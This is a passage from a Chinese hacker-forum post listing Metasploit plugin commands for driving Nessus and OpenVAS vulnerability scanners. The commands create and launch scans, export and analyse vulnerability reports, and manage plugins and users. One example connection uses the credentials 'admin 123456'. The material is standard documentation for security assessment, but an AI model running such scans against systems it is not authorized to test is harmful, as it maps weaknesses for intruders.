    75. nessus_db_scan <policy ID> <scan name> <scan description> # 基于db_hosts表创建扫描任务
    76. nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>
    77. # 基于指定工作区的db_host表创建扫描任务
    78. # 运行扫描任务
    79. nessus_scan_launch <scan ID> # 启动任务
    80. nessus_scan_pause <scan id> # 暂停任务
    81. nessus_scan_pause_all # 暂停所有任务
    82. nessus_scan_stop <scan id> # 停止任务
    83. nessus_scan_stop_all # 停止所有扫描任务
    84. nessus_scan_list # 查看扫描任务列表
    85. nessus_scan_resume <scan id> # 恢复暂停的任务
    86. nessus_scan_resume_all # 恢复所有暂停的任务
    87. # 查看报告
    88. nessus_scan_export <scan ID> <export format> # 生成扫描报告
    89. nessus_scan_export_status <scan ID> <file ID> # 查看导出任务的状态
    90. # 分析报告
    91. nessus_report_hosts <scan ID> -S searchterm # 获取主机列表
    92. nessus_report_vulns <scan ID> # 获取漏洞列表
    93. nessus_report_host_details <scan ID> <host ID> # 获取指定主机的详细信息
    94. nessus_db_import <scan ID> # 导入报告
    95. # 管理插件
    96. nessus_family_list -S searchterm # 查看插件家族
    97. nessus_plugin_list <Family ID> # 查看插件
    98. nessus_plugin_details <Plugin ID> # 列出插件详细信息
    99. # 管理用户
    100. nessus_user_list # 查看现有用户
    101. nessus_user_passwd <User ID> <New Password> # 修改用户密码
    102. nessus_user_add <username> <password> <permissions> <type> # 添加用户,32、64和128;local或LDAP
    103. nessus_user_del <User ID> # 删除用户
    104. # 使用OpenVAS服务器
    105. openvas_connect admin 123456 127.0.0.1 9390 ok # 连接服务器
    106. # 查看服务器信息
    107. openvas_version # 查看版本
    108. openvas_config_list # 查看扫描配置
    109. openvas_disconnect # 断开连接
    110. # 管理扫描目标
    111. openvas_target_create <name> <hosts> <comment> # 创建扫描目标
    112. openvas_target_list # 查看目标列表
    113. openvas_target_delete <target_id> # 删除扫描目标
    114. # 管理扫描任务
    115. openvas_task_create <name> <comment> <config_id> <target_id># 创建扫描任务
    116. openvas_task_start <id> # 启动扫描任务
    117. openvas_task_stop <id> # 停止扫描任务
    118. openvas_task_list # 查看其状态
    119. openvas_task_pause <id> # 暂停扫描任务
    120. openvas_task_resume <id> # 恢复扫描任务
    121. openvas_task_resume_or_start <id> # 恢复或启动扫描任务
    122. openvas_task_delete <id> ok # 删除任务
    123. # 管理扫描报告
    124. openvas_format_list # 列出可用的报告格式
    125. openvas_report_list # 列出有效的报告
    126. openvas_report_download <report_id> <format_id> <path> <report_name>
    127. # 下载指定的报告
    128. openvas_report_import <report_id> <format_id> # 导入报告
    129. openvas_report_delete <id> # 删除报告
    复制代码
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Honkers

特级红客

关注
  • 3327
    主题
  • 36
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行